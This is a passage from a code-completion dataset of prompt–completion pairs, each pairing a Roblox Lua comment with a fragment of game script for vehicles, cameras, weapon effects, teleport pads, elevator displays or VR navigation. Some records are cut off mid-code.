1 then\n\t\t\t\tlocal rate\t= math.floor((v.Size.X + v.Size.Y + v.Size.Z) * ARROW_AMOUNT)\n\t\t\t\t\n\t\t\t\tlocal emitter\t= script.ArrowEmitter:Clone()\n\t\t\t\t\temitter.Rate\t= rate\n\t\t\t\t\temitter.Parent\t= v\n\t\t\tend\n\t\tend\n\tend\nend\n"} +{"prompt": "--!strict", "completion": "\nlocal HttpService = game:GetService(\"HttpService\")\nlocal ReplicatedStorage = game:GetService(\"ReplicatedStorage\")\n\nlocal AdRequestStats = require(script.Parent.Parent.AdRequestStats)\nlocal BatchHTTP = require(script.Parent.Parent.BatchHTTP)\nlocal Utils = require(script.Parent.Parent.Utils)\n\nlocal OutfitFeed = {}\n\nreturn OutfitFeed\n"} +{"prompt": "-------------------------", "completion": "\n \nmouse.KeyDown:connect(function (key)\n key = string.lower(key)\n\tif key == \"k\" then --Camera controls\n if cam == (\"car\") then\n\t\t\tCamera.CameraSubject = player.Character.Humanoid\n\t\t\tCamera.CameraType = (\"Custom\")\n\t\t\tcam = (\"freeplr\")\n\t\t\tCamera.FieldOfView = 70\n\t\telseif cam == (\"freeplr\") then\n\t\t\tCamera.CameraSubject = player.Character.Humanoid\n\t\t\tCamera.CameraType = (\"Attach\")\n\t\t\tcam = (\"lockplr\")\n elseif cam == (\"lockplr\") then\n\t\t\tCamera.CameraSubject = carSeat\n\t\t\tCamera.CameraType = (\"Custom\")\n\t\t\tcam = (\"car\")\n\t\t\tCamera.FieldOfView = 70\n end\n\telseif key == \"u\" then --Window controls\n\t\tif windows == false then \n\t\t\twinfob.Visible = true\n\t\t\twindows = true\n\t\telse windows = false\n\t\t\twinfob.Visible = false\n\t\tend\n\telseif key == \"[\" then -- volume down\n\t\tif carSeat.Parent.Body.MP.Sound.Volume > 0 then\n\t\t\thandler:FireServer('updateVolume', -0.5)\n\t\tend\n\telseif key == \"]\" then -- volume up\n\t\tif carSeat.Parent.Body.MP.Sound.Volume < 10 then\n\t\t\thandler:FireServer('updateVolume', 0.5)\n\t\tend\t\n\telseif key == \"f\" then --FM Screen Switch\n\t\thandler:FireServer('FMSwitch')\n\telseif key == \"n\" then --Mode Screen Switch\n\t\thandler:FireServer('IMode')\n\telseif key == \"j\" then --seatlock\n\t\tif carSeat.Seatlock.Value == false then\n\t\t\thandler:FireServer('seatlock',true,0)\n\t\telse\n\t\t\thandler:FireServer('seatlock',false,12)\n\t\tend\n\telseif key == \"g\" then --seatlock\n\t\thandler:FireServer('sunroof')\n\telseif key:byte() == 48 then -- CC\n\t\tst = true\n\tend\nend)\n\nmouse.KeyUp:connect(function (key)\n key = string.lower(key)\n\tif key:byte() == 48 then --Camera controls\n\t\tst = false\n\tend\nend)\n\nfor i,v in pairs(script.Parent:getChildren()) do\n\tif v:IsA('ImageButton') then\n\t\tv.MouseButton1Click:connect(function()\n\t\t\tif carSeat.Windows:FindFirstChild(v.Name) then\n\t\t\t\tlocal v = carSeat.Windows:FindFirstChild(v.Name)\n\t\t\t\tif v.Value == true then\n\t\t\t\t\thandler:FireServer('updateWindows', v.Name, false)\n\t\t\t\telse\n\t\t\t\t\thandler:FireServer('updateWindows', v.Name, true)\n\t\t\t\tend\n\t\t\tend\n\t\tend)\n\tend\nend\n\nfunction showspeed(a)\n\tif carSeat.CC.Value then\n\t\tHUB2.S.Visible = true\n\t\tHUB2.CC.Visible = false\n\t\tHUB2.S.Text = math.floor(carSeat.CCS.Value)\n\t\tHUB2.S.TextColor3 = a and Color3.new(0,1,0) or Color3.new(1,0,0)\n\t\twait(2)\n\t\tHUB2.S.Visible = false\n\t\tHUB2.CC.Visible = true\n\tend\nend\n\nHUB2.CC.MouseButton1Click:connect(function()\n\tcarSeat.CC.Value = not carSeat.CC.Value\n\tcarSeat.CCS.Value = math.floor(carSeat.Velocity.Magnitude*mph)\n\tshowspeed(true)\nend)\n\nHUB2.W.MouseButton1Click:connect(function()\n\thandler:FireServer('wws',carSeat.WS.Value,st)"} +{"prompt": "--[[\n\tOrbitalCamera - Spherical coordinates control camera for top-down games\n\t2018 Camera Update - AllYourBlox\n--]]", "completion": "\n"} +{"prompt": "--[[Misc]]", "completion": "\n\tTune.LoadDelay\t\t= .1\t\t-- Delay before initializing chassis (in seconds)\n\tTune.AutoStart\t\t= true\t\t-- Set to false if using manual ignition plugin\n\tTune.AutoFlip\t\t= false\t\t-- Set to false if using manual flip plugin\n\t"} +{"prompt": "-- Jump Throttler by Nikilis", "completion": "\n\nlocal TimeBetweenJumps = 3; -- Time in seconds.\n"} +{"prompt": "--\"Player\" refers to the player that just entered.", "completion": "\n"} +{"prompt": "-- This backpack script doesn't support hopperbin because using :ToggleActive() will raise an error and its belong to corescript", "completion": "\n"} +{"prompt": "--- VARIABLES/CONSTANTS ---", "completion": "\n\nplayer = game.Players.LocalPlayer\nplayergui = player.PlayerGui\ngeneral = playergui:WaitForChild(\"General\")\nframe = general:WaitForChild(\"Frame\")\n\nlocal connection\n\n\n"} +{"prompt": "----------------------------------------------------------------------------------------------------\n-----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------\n----------------------------------------------------------------------------------------------------", "completion": "\n\t,VRecoil = {35,45}\t\t\t\t--- Vertical Recoil\n\t,HRecoil = {32,35}\t\t\t\t--- Horizontal Recoil\n\t,AimRecover = .5\t\t\t\t---- Between 0 & 1\n\t\n\t,RecoilPunch = .2\n\t,VPunchBase = 30.75\t\t\t\t--- Vertical Punch\n\t,HPunchBase = 22.25\t\t\t\t--- Horizontal Punch\n\t,DPunchBase = 1 \t\t\t\t--- Tilt Punch | useless\n\t\n\t,AimRecoilReduction = 1 \t\t--- Recoil Reduction Factor While Aiming (Do not set to 0)\n\t,PunchRecover = 0.2\n\t,MinRecoilPower = 1\n\t,MaxRecoilPower = 1\n\t,RecoilPowerStepAmount = 1\n\t\n\t,MinSpread = 35\t\t\t\t\t--- Min bullet spread value | Studs\n\t,MaxSpread = 65\t\t\t\t\t--- Max bullet spread value | Studs\n\t,AimInaccuracyStepAmount = 15\n\t,WalkMultiplier = 0\t\t\t\t--- Bullet spread based on player speed\n\n\t,SwayBase = 0.25\t\t\t\t--- Weapon Base Sway | Studs\n\t,MaxSway =\t2\t\t\t\t\t--- Max sway value based on player stamina | Studs"} +{"prompt": "------------------------------------------------", "completion": "\n\nlocal function Clamp(x, min, max)\n\treturn x < min and min or x > max and max or x\nend\n\nlocal function GetChar()\n\tlocal character = player.Character\n\tif character then\n\t\treturn character:FindFirstChildOfClass(\"Humanoid\"), character:FindFirstChild(\"HumanoidRootPart\")\n\tend\nend\n\nlocal function InputCurve(x)\n\tlocal s = math.abs(x)\n\tif s > DEADZONE then\n\t\ts = 0.255000975*(2^(2.299113817*s) - 1)\n\t\treturn x > 0 and (s > 1 and 1 or s) or (s > 1 and -1 or -s)\n\tend\n\treturn 0\nend\n"} +{"prompt": "--waitTime = 10 -- DEBUGGING", "completion": "\nlocal regenArea = script.Parent -- Regens Trees based off Regional Areas\n\nwhile true do\n\twait(waitTime)\n\t--print \"Regenerating!\"\n\tlocal Trees = regenArea:GetChildren()\t\n\tfor i,tree in pairs(Trees) do\n\t\tif tree:IsA(\"Model\") and not tree:IsA(\"Script\") then -- Checks if the object is a model"} +{"prompt": "--// Events", "completion": "\nL_34_.OnServerEvent:connect(function(L_84_arg1)\t\n\tfor L_85_forvar1, L_86_forvar2 in pairs(L_30_:GetChildren()) do\n\t\tif L_86_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\tL_86_forvar2.Enabled = true\n\t\tend\n\tend;\n\n\tdelay(1 / 30, function()\n\t\tfor L_87_forvar1, L_88_forvar2 in pairs(L_30_:GetChildren()) do\n\t\t\tif L_88_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\t\tL_88_forvar2.Enabled = false\n\t\t\tend\n\t\tend\n\tend);\nend)\n\nlocal L_52_\nL_35_.OnServerEvent:connect(function(L_89_arg1, L_90_arg2, L_91_arg3)\n\tL_90_arg2:TakeDamage(L_91_arg3)\n\tif L_90_arg2.Health <= 0 and L_90_arg2 ~= L_52_ then\n\t\tif L_4_ and L_4_:FindFirstChild(L_2_.Name) then\n\t\t\tlocal L_92_ = L_4_[L_2_.Name]\n\t\t\tL_92_.Value = not L_92_.Value\n\t\tend\n\t\tL_39_:FireClient(L_89_arg1)\n\t\tL_52_ = L_90_arg2\n\tend\nend)\n\nL_36_.OnServerEvent:connect(function(L_93_arg1, L_94_arg2)\n\tlocal L_95_ = Instance.new(\"ObjectValue\")\n\tL_95_.Name = \"creator\"\n\tL_95_.Value = L_93_arg1\n\tL_95_.Parent = L_94_arg2\n\tgame.Debris:AddItem(L_95_, 3)\nend)\n\nL_37_.OnServerEvent:connect(function(L_96_arg1, L_97_arg2, L_98_arg3)\n\tlocal L_99_ = L_96_arg1.Character\n\tlocal L_100_ = L_99_:FindFirstChild('Torso')\n\tlocal L_101_ = L_99_:FindFirstChild('HumanoidRootPart'):FindFirstChild('RootJoint')\n\tlocal L_102_ = L_100_:FindFirstChild('Right Hip')\n\tlocal L_103_ = L_100_:FindFirstChild('Left Hip')\n\tlocal L_104_ = L_100_:FindFirstChild('Clone')\n\t\n\tif L_97_arg2 == \"Prone\" and L_99_ and L_104_ then\n\t\tL_101_.C0 = CFrame.new(0, -2.4201169, -0.0385534465, -0.99999994, -5.86197757e-012, -4.54747351e-013, 5.52669195e-012, 0.998915195, 0.0465667509, 0, 0.0465667509, -0.998915195)\n\t\tL_102_.C0 = CFrame.new(1.00000191, -1, -5.96046448e-008, 1.31237243e-011, -0.344507754, 0.938783348, 0, 0.938783467, 0.344507784, -1, 0, -1.86264515e-009)\n\t\tL_103_.C0 = CFrame.new(-0.999996185, -1, -1.1920929e-007, -2.58566502e-011, 0.314521015, -0.949250221, 0, 0.94925046, 0.314521164, 1, 3.7252903e-009, 1.86264515e-009)\t\t\t\n\t\tL_104_.C0 = CFrame.new(0, -2.04640698, -0.799179077, -1, 0, -8.57672189e-15, 8.57672189e-15, 0, 1, 0, 1, 0)\t\n\telseif L_97_arg2 == \"Crouch\" and L_99_ and L_104_ then\n\t\tL_101_.C0 = CFrame.new(0, -1.04933882, 0, -1, 0, -1.88871293e-012, 1.88871293e-012, -3.55271368e-015, 1, 0, 1, -3.55271368e-015)\n\t\tL_102_.C0 = CFrame.new(1, 0.0456044674, -0.494239986, 6.82121026e-013, -1.22639676e-011, 1, -0.058873821, 0.998265445, -1.09836602e-011, -0.998265445, -0.058873821, 0)\n\t\tL_103_.C0 = CFrame.new(-1.00000381, -0.157019258, -0.471293032, -8.7538865e-012, -8.7538865e-012, -1, 0.721672177, 0.692235112, 1.64406284e-011, 0.692235112, -0.721672177, 0)\n\t\tL_104_.C0 = CFrame.new(0, -0.0399827957, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)\n\telseif L_97_arg2 == \"Stand\" and L_99_ and L_104_ then\t\n\t\tL_101_.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)\n\t\tL_102_.C0 = CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0)\n\t\tL_103_.C0 = CFrame.new(-1, -1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)\n\t\tL_104_.C0 = CFrame.new(0, 1, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)\n\telseif L_97_arg2 == \"LeanRight\" then\n\t\tL_101_.C1 = CFrame.new(0, 0.200000003, 0, -0.939692616, 0, -0.342020124, -0.342020124, 0, 0.939692616, 0, 1, 0)\n\t\tL_102_.C1 = CFrame.new(0.300000012, 0.600000024, 0, 0, 0.342020124, 0.939692616, 0, 0.939692616, -0.342020124, -1, 0, 0)\n\t\tL_104_.C1 = CFrame.new(-0.400000006, -0.300000012, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)\n\telseif L_97_arg2 == \"LeanLeft\" then\n\t\tL_101_.C1 = CFrame.new(0, 0.200000003, 0, -0.939692616, 0, 0.342020124, 0.342020124, 0, 0.939692616, 0, 1, 0)\n\t\tL_103_.C1 = CFrame.new(-0.300000012, 0.600000024, 0, 0, -0.342020124, -0.939692616, 0, 0.939692616, -0.342020124, 1, 0, 0)\n\t\tL_104_.C1 = CFrame.new(0.400000006, -0.300000012, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)\n\telseif L_97_arg2 == \"Unlean\" then\n\t\tL_101_.C1 = CFrame.new(0, 0, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)\n\t\tL_102_.C1 = CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)\n\t\tL_103_.C1 = CFrame.new(-0.5, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)\n\t\tif L_100_:FindFirstChild('Clone') then\n\t\t\tL_104_.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)\n\t\tend\n\telseif L_97_arg2 == \"Patrol\" then\n\t\tL_19_.C1 = L_98_arg3\n\telseif L_97_arg2 == \"Unpatrol\" then\n\t\tL_19_.C1 = CFrame.new()\n\tend\nend)\n\nL_38_.OnServerInvoke = function(L_105_arg1, L_106_arg2, L_107_arg3, L_108_arg4, L_109_arg5, L_110_arg6, L_111_arg7)\n\tlocal L_112_ = Instance.new(\"Part\", workspace)\n\tL_112_.FormFactor = \"Custom\"\n\tL_112_.TopSurface = 0\n\tL_112_.BottomSurface = 0\n\tL_112_.Transparency = 1\n\tL_112_.Anchored = true\n\tL_112_.CanCollide = false\n\tL_112_.Size = Vector3.new(0.5, 0, 0.5)\n\tL_112_.CFrame = CFrame.new(L_106_arg2) * CFrame.fromAxisAngle(L_107_arg3.magnitude == 0 and Vector3.new(1) or L_107_arg3.unit, L_108_arg4)\n\tL_112_.BrickColor = BrickColor.new(\"Really black\")\n\tL_112_.Material = \"SmoothPlastic\"\n\n\tlocal L_113_ = Instance.new(\"Decal\", L_112_)\n\tL_113_.Texture = \"rbxassetid://64291977\"\n\tL_113_.Face = \"Top\"\n\tgame.Debris:AddItem(L_113_, 3)\n\t\n\tlocal L_114_ = Instance.new(\"PointLight\", L_112_)\n\tL_114_.Color = Color3.new(0, 0, 0)\n\tL_114_.Range = 0\n\tL_114_.Shadows = true\n\t\n\t--[[local Meta = Instance.new(\"Sound\")\n\tMeta.Name = \"Crack\"\t\n\t\n\tif h.Material == Enum.Material.Grass or h.Material == Enum.Material.Ice or h.Material == Enum.Material.Fabric or h.Material == Enum.Material.Pebble then\n\t\tMeta = Crack:FindFirstChild('Crack') or Instance.new('Sound',Crack)\n\t\tMeta.Name = 'Crack'\n\t\tMeta.SoundId = \"rbxassetid://\" .. DirtSounds[math.random(0,#DirtSounds)]\n\tend\n\t\n\tif h.Material == Enum.Material.Sand then\n\t\tMeta = Crack:FindFirstChild('Crack') or Instance.new('Sound',Crack)\n\t\tMeta.Name = 'Crack'\n\t\tMeta.SoundId = \"rbxassetid://\" .. SandSounds[math.random(0,#SandSounds)]\n\tend\n\t\n\tif h.Material == Enum.Material.Glass or h.Material == Enum.Material.Neon then\n\t\tMeta = Crack:FindFirstChild('Crack') or Instance.new('Sound',Crack)\n\t\tMeta.Name = 'Crack'\n\t\tMeta.SoundId = \"rbxassetid://\" .. GlassSounds[math.random(0,#GlassSounds)]\n\tend\n\t\n\tif h.Material == Enum.Material.Wood or h.Material == Enum.Material.WoodPlanks then\n\t\tMeta = Crack:FindFirstChild('Crack') or Instance.new('Sound',Crack)\n\t\tMeta.Name = 'Crack'\n\t\tMeta.SoundId = \"rbxassetid://\" .. WoodSounds[math.random(0,#WoodSounds)]\n\tend\n\t\n\tif h.Material == Enum.Material.Metal or h.Material == Enum.Material.CorrodedMetal or h.Material == Enum.Material.DiamondPlate then\n\t\tMeta = Crack:FindFirstChild('Crack') or Instance.new('Sound',Crack)\n\t\tMeta.Name = 'Crack'\n\t\tMeta.SoundId = \"rbxassetid://\" .. MetalSounds[math.random(0,#MetalSounds)]\n\tend\n\t\n\tif h.Material == Enum.Material.Water then\n\t\tMeta = Crack:FindFirstChild('Crack') or Instance.new('Sound',Crack)\n\t\tMeta.Name = 'Crack'\n\t\tMeta.SoundId = \"rbxassetid://\" .. WaterSounds[math.random(0,#WaterSounds)]\n\tend\n\t\n\tif h.Material == Enum.Material.Concrete or h.Material == Enum.Material.Plastic or h.Material == Enum.Material.SmoothPlastic or h.Material == Enum.Material.Slate or h.Material == Enum.Material.Foil or h.Material == Enum.Material.Brick or h.Material == Enum.Material.Granite or h.Material == Enum.Material.Marble or h.Material == Enum.Material.Cobblestone then\n\t\tMeta = Crack:FindFirstChild('Crack') or Instance.new('Sound',Crack)\n\t\tMeta.Name = 'Crack'\n\t\tMeta.SoundId = \"rbxassetid://\" .. ConcreteSounds[math.random(0,#ConcreteSounds)]\n\tend\t\n\t\n\tMeta.Volume = math.random(0.8,1)\n\tMeta.EmitterSize = 10\n\tMeta.MaxDistance = 30\n\tMeta.Pitch = math.random(0,0.6)\n\tMeta.Parent = Crack\n\tMeta:play()]]--\n\t\n\tgame.Debris:AddItem(L_112_, 3)\n\t\n\tlocal L_115_\n\tlocal L_116_\n\t\t\n\tif L_110_arg6 == \"Part\" then\n\t\tL_115_ = L_31_:WaitForChild(\"Spark\"):clone()\n\t\tL_115_.Parent = L_112_\n\t\tL_115_.EmissionDirection = \"Top\"\n\t\t\n\t\tL_116_ = L_31_:WaitForChild(\"Smoke\"):clone()\n\t\tL_116_.Parent = L_112_\n\t\tL_116_.EmissionDirection = \"Top\"\n\t\t\n\t\tL_115_.Enabled = true\n\t\tL_116_.Enabled = true\n\t\t\n\t\tgame.Debris:AddItem(L_115_, 1)\n\t\tgame.Debris:AddItem(L_116_, 1)\n\t\t\n\t\tdelay(0.1, function()\n\t\t\tL_115_.Enabled = false\n\t\t\tL_116_.Enabled = false\n\t\tend)\n\telseif L_110_arg6 == \"Human\" then\t\t\n\t\tL_115_ = L_31_:WaitForChild(\"Blood\"):clone()\n\t\tL_115_.Parent = L_112_\n\t\tL_115_.EmissionDirection = \"Top\"\n\t\tL_115_.Enabled = true\n\t\t\n\t\tgame.Debris:AddItem(L_115_, 1)\n\t\t\n\t\tdelay(0.1, function()\n\t\t\tL_115_.Enabled = false\n\t\tend)\n\tend\nend;\n\nL_40_.OnServerEvent:connect(function(L_117_arg1, L_118_arg2)\n\tL_40_:FireAllClients(L_117_arg1, L_118_arg2)\nend)\n\nL_41_.OnServerEvent:connect(function(L_119_arg1, L_120_arg2)\n\tlocal L_121_ = Instance.new('Part', workspace)\n\tL_121_.Size = Vector3.new(0.1, 0.1, 0.1)\n\tL_121_.Transparency = 1\n\tL_121_.CanCollide = false\n\tL_121_.Anchored = true\n\tL_121_.Position = L_120_arg2\n\tlocal L_122_ = Instance.new('Explosion', workspace)\n\tL_122_.Position = L_120_arg2\n\tL_122_.BlastPressure = L_12_.BlastPressue\n\tL_122_.BlastRadius = L_12_.BlastRadius\n\tL_122_.DestroyJointRadiusPercent = L_12_.DestroyJointRadius\n\tL_122_.ExplosionType = L_12_.ExplosionType\n\tlocal L_123_ = L_31_:WaitForChild('ExplosionSound'):clone()\n\tL_123_.Parent = L_121_\n\tL_123_:Play()\n\tgame:GetService('Debris'):AddItem(L_121_, L_123_.TimeLength)\nend)\n\nL_43_.OnServerEvent:connect(function(L_124_arg1, L_125_arg2)\n\tfor L_126_forvar1, L_127_forvar2 in pairs(game.Players:GetChildren()) do\n\t\tif L_127_forvar2:IsA('Player') and L_127_forvar2.PlayerGui:FindFirstChild('MainGui') and L_127_forvar2.PlayerGui.MainGui:FindFirstChild('Shading') then\n\t\t\tfor L_128_forvar1, L_129_forvar2 in pairs(L_127_forvar2.Character:GetChildren()) do\n\t\t\t\tif L_129_forvar2:IsA('Tool') and L_129_forvar2:FindFirstChild('Resource') and L_129_forvar2.Resource:FindFirstChild('Events') and L_129_forvar2.Resource.Events:FindFirstChild('ServerFXEvent') then\n\t\t\t\t\tL_129_forvar2.Resource.Events.ServerFXEvent:FireClient(L_127_forvar2, L_125_arg2, L_2_)\n\t\t\t\tend\t\n\t\t\tend\n\t\tend\n\tend\nend)\n\nL_44_.OnServerEvent:connect(function(L_130_arg1, L_131_arg2, L_132_arg3)\n\tL_131_arg2.SoundId = 'rbxassetid://' .. L_132_arg3\n\tL_131_arg2:Play()\nend)\n"} +{"prompt": "--Offset For Each New Ray For The Bullet's Trajectory", "completion": "\nlocal offset\t\t\t= (parts.Parent.Gun.Muzzle.CFrame*CFrame.new(math.random(-2,2)/3,100,math.random(-2,2)/3).p\n\t\t\t\t\t\t\t- parts.Parent.Gun.Muzzle.Position).unit\n\t\t\t\t\t\t\t*script.Parent.Stats.GunVelocity.Value\nlocal point1\t\t\t= parts.Parent.Gun.Muzzle.Position"} +{"prompt": "-- Do not edit the below.", "completion": "\n\nscript.Parent.Changed:connect(function(child)\nSingleDriverMode = script.Parent.SingleMode.Value\n if SingleDriverMode == true then\n if script.Parent.Occupant ~= nil then\n if script.Parent.Occupant.Parent.Name ~= AllowedDriver then\n wait(0.15)\n script.Parent.Occupant.Jump = true\n else end\n end\n else\n for i,v in pairs(Blacklist) do\n if script.Parent.Occupant ~= nil then\n if script.Parent.Occupant.Parent.Name == Blacklist[i] then\n if script.Parent.Occupant.Parent.Name ~= AllowedDriver then\n wait(0.15)\n script.Parent.Occupant.Jump = true\n end\n else end\n end\n end\n end\nend)\n"} +{"prompt": "--// Unused (Don't delete)", "completion": "\n\tRestMode = false;\n\tAttachmentsEnabled = false;\n\tUIScope = false;\n\tCanSlideLock = false;\n\t\t"} +{"prompt": "--[[\n Render the child component so that ExternalEventConnections can be nested like so:\n Roact.createElement(ExternalEventConnection, {\n event = UserInputService.InputBegan,\n callback = inputBeganCallback,\n }, {\n Roact.createElement(ExternalEventConnection, {\n event = UserInputService.InputEnded,\n callback = inputChangedCallback,\n })\n })\n]]", "completion": "\nfunction ExternalEventConnection:render()\n\treturn Roact.oneChild(self.props[Roact.Children])\nend\n\nfunction ExternalEventConnection:didMount()\n\tlocal event = self.props.event\n\tlocal callback = self.props.callback\n\n\tself.connection = event:Connect(callback)\nend\n\nfunction ExternalEventConnection:didUpdate(oldProps)\n\tif self.props.event ~= oldProps.event or self.props.callback ~= oldProps.callback then\n\t\tself.connection:Disconnect()\n\n\t\tself.connection = self.props.event:Connect(self.props.callback)\n\tend\nend\n\nfunction ExternalEventConnection:willUnmount()\n\tself.connection:Disconnect()\n\n\tself.connection = nil\nend\n\nreturn ExternalEventConnection\n"} +{"prompt": "--[[ lua Function Cache ]]", "completion": "--\nlocal ATAN2 = math.atan2\nlocal FLOOR = math.floor\nlocal PI = math.pi\n"} +{"prompt": "--[[\n\tReturns a new BaseValueStore, with a table that has constants as keys, and with another table as value, which holds the \n\tvalue, and optional max/min amount. Should there not be starting data for a variable, it will default to 0. Can also connect \n\tto a changed event, which fires whenever a value changes, along with the value name, and new value.\n]]", "completion": "\nfunction BaseValueStore:_init(startingData)\n\tself._data = {}\n\n\tfor name, valueData in pairs(startingData) do\n\t\tself._data[name] = {}\n\n\t\tself._data[name].value = valueData.value or 0\n\t\tself._data[name].max = valueData.max or nil\n\t\tself._data[name].min = valueData.min or nil\n\tend\n\n\tself._changedBindable = Instance.new(\"BindableEvent\")\n\tself.changed = self._changedBindable.Event\nend\n"} +{"prompt": "-- events", "completion": "\n\nARMOR.Changed:connect(function()\n\tif ARMOR.Value < lastArmor then\n\t\tlastDamage\t= tick()\n\tend\n\t\n\tlastArmor\t= ARMOR.Value\nend)\n"} +{"prompt": "--use this to determine if you want this human to be harmed or not, returns boolean", "completion": "\n\nfunction boom()\n\twait(1)\n\tUsed = true\n\tObject.Anchored = true\n\tObject.CanCollide = false\n\tObject.Sparks.Enabled = false\n\tObject.Orientation = Vector3.new(0,0,0)\n\tObject.Transparency = 1\n\tObject.Fuse:Stop()\n\tObject.Explode:Play()\n\tObject.Dist:Play()\n\tObject.Explosion:Emit(100)\n\tExplode()\nend\n\nboom()\n"} +{"prompt": "--\t\t\tunit.TextTransparency\t\t= -0.25 + 1.25*cosRot2\n--\t\t\tunit.BackgroundTransparency\t= 0.00 + 1.50*cosRot2", "completion": "\n\t\telse\n\t\t\tunit.Visible = false\n\t\tend\n\tend\nend\n"} +{"prompt": "-- Assign hotkey for exporting selection", "completion": "\nAssignHotkey({ 'LeftShift', 'P' }, ExportSelection);\nAssignHotkey({ 'RightShift', 'P' }, ExportSelection);\n"} +{"prompt": "-- Services", "completion": "\nlocal RunService = game:GetService(\"RunService\")"} +{"prompt": "--// Declarables", "completion": "\nlocal L_15_ = false\n\nlocal L_16_ = false\nlocal L_17_ = true\n\nlocal L_18_ = L_1_:WaitForChild('Resource')\nlocal L_19_ = L_18_:WaitForChild('FX')\nlocal L_20_ = L_18_:WaitForChild('Events')\nlocal L_21_ = L_18_:WaitForChild('HUD')\nlocal L_22_ = L_18_:WaitForChild('Modules')\nlocal L_23_ = L_18_:WaitForChild('SettingsModule')\nlocal L_24_ = require(L_23_:WaitForChild(\"ClientConfig\"))\nlocal L_25_ = L_18_:WaitForChild('Vars')\nlocal L_26_\nlocal L_27_\nlocal L_28_\nlocal L_29_ \nlocal L_30_ \nlocal L_33_\nlocal L_34_\nlocal L_35_\nlocal L_36_\nlocal L_37_\nlocal L_38_\nlocal L_39_\nlocal L_40_\nlocal L_41_\nlocal L_42_\nlocal L_43_\nlocal L_44_\nlocal L_45_\nlocal L_46_\nlocal L_47_\nlocal L_48_\nlocal L_49_\n\nlocal L_50_ = L_24_.AimZoom\n\nlocal L_51_ = L_24_.MouseSensitivity\nlocal L_52_ = L_12_.MouseDeltaSensitivity\n"} +{"prompt": "-- Test Module\n-- Username\n-- June 10, 2020", "completion": "\n\n\n\nlocal TestModule = {}\n\nfunction TestModule:Start()\n\tprint(\"Test Started\")\nend\n\n\nreturn TestModule\n"} +{"prompt": "---------------------------------------------------", "completion": "\n\nThis = script.Parent\nLift = This.Parent.Parent.Parent\nCustomLabel = require(Lift.CustomLabel)\nCharacters = require(script.Characters)\n\nCustomText = CustomLabel[\"CUSTOMFLOORLABEL\"]\n\nLift:WaitForChild(\"Floor\").Changed:connect(function(floor)\n --custom indicator code--\n ChangeFloor(tostring(floor))\nend)\n\nfunction ChangeFloor(SF)\n\tif CustomText[tonumber(SF)] then\n\t\tSF = CustomText[tonumber(SF)]\n\tend\n\tSetDisplay(1,(string.len(SF) == 2 and SF:sub(1,1) or \"NIL\"))\t\t\n\tSetDisplay(2,(string.len(SF) == 2 and SF:sub(2,2) or SF))\t\t\nend\n\nfunction SetDisplay(ID,CHAR)\n\tif This.Display:FindFirstChild(\"DIG\"..ID) and Characters[CHAR] ~= nil then\n \t\tfor i,l in pairs(Characters[CHAR]) do \n\t\t\tfor r=1,7 do\t\n\t\t\t\tThis.Display[\"DIG\"..ID][\"D\"..r].BrickColor = (l:sub(r,r) == \"1\" and BrickColor.new(\"Dark green\") or BrickColor.new(\"Really black\"))\n\t\t\tend\n\t\tend\n\tend\nend\n"} +{"prompt": "-----------------------", "completion": "\n\nfunction warpPlayer(player, location)\n\t\n\tlocal HRP = player:WaitForChild(\"HumanoidRootPart\")\n\tHRP.Position = Vector3.new(location.X, location.Y + 3, location.Z)\n\t\nend\n\npad1.Touched:Connect(function(hit)\n\t\n\tif hit.Parent and hit.Parent:FindFirstChildOfClass(\"Humanoid\").Health > 0 and bounce then\n\t\t\n\t\tbounce = false\n\t\tpad2.PointLight.Enabled = true\n\t\twarpPlayer(hit.Parent, pad2.Position)\n\t\ttask.wait(1)\n\t\tbounce = true\n\t\tpad2.PointLight.Enabled = false\n\tend\n\t\nend)\n\npad2.Touched:Connect(function(hit)\n\n\tif hit.Parent and hit.Parent:FindFirstChildOfClass(\"Humanoid\").Health > 0 and bounce and padIsOneDirectional.Value == false then\n\n\t\tbounce = false\n\t\tpad1.PointLight.Enabled = true\n\t\twarpPlayer(hit.Parent, pad1.Position)\n\t\ttask.wait(1)\n\t\tbounce = true\n\t\tpad1.PointLight.Enabled = false\n\tend\n\nend)\n"} +{"prompt": "--[[ The Class ]]", "completion": "--\nlocal BaseCharacterController = require(script.Parent:WaitForChild(\"BaseCharacterController\"))\nlocal VRNavigation = setmetatable({}, BaseCharacterController)\nVRNavigation.__index = VRNavigation\n\nfunction VRNavigation.new(CONTROL_ACTION_PRIORITY)\n\tlocal self = setmetatable(BaseCharacterController.new(), VRNavigation)\n\n\tself.CONTROL_ACTION_PRIORITY = CONTROL_ACTION_PRIORITY\n\n\tself.navigationRequestedConn = nil\n\tself.heartbeatConn = nil\n\n\tself.currentDestination = nil\n\tself.currentPath = nil\n\tself.currentPoints = nil\n\tself.currentPointIdx = 0\n\n\tself.expectedTimeToNextPoint = 0\n\tself.timeReachedLastPoint = tick()\n\tself.moving = false\n\n\tself.isJumpBound = false\n\tself.moveLatch = false\n\n\tself.userCFrameEnabledConn = nil\n\n\treturn self\nend\n\nfunction VRNavigation:SetLaserPointerMode(mode)\n\tpcall(function()\n\t\tStarterGui:SetCore(\"VRLaserPointerMode\", mode)\n\tend)\nend\n\nfunction VRNavigation:GetLocalHumanoid()\n\tlocal character = LocalPlayer.Character\n\tif not character then\n\t\treturn\n\tend\n\n\tfor _, child in pairs(character:GetChildren()) do\n\t\tif child:IsA(\"Humanoid\") then\n\t\t\treturn child\n\t\tend\n\tend\n\treturn nil\nend\n\nfunction VRNavigation:HasBothHandControllers()\n\treturn VRService:GetUserCFrameEnabled(Enum.UserCFrame.RightHand) and VRService:GetUserCFrameEnabled(Enum.UserCFrame.LeftHand)\nend\n\nfunction VRNavigation:HasAnyHandControllers()\n\treturn 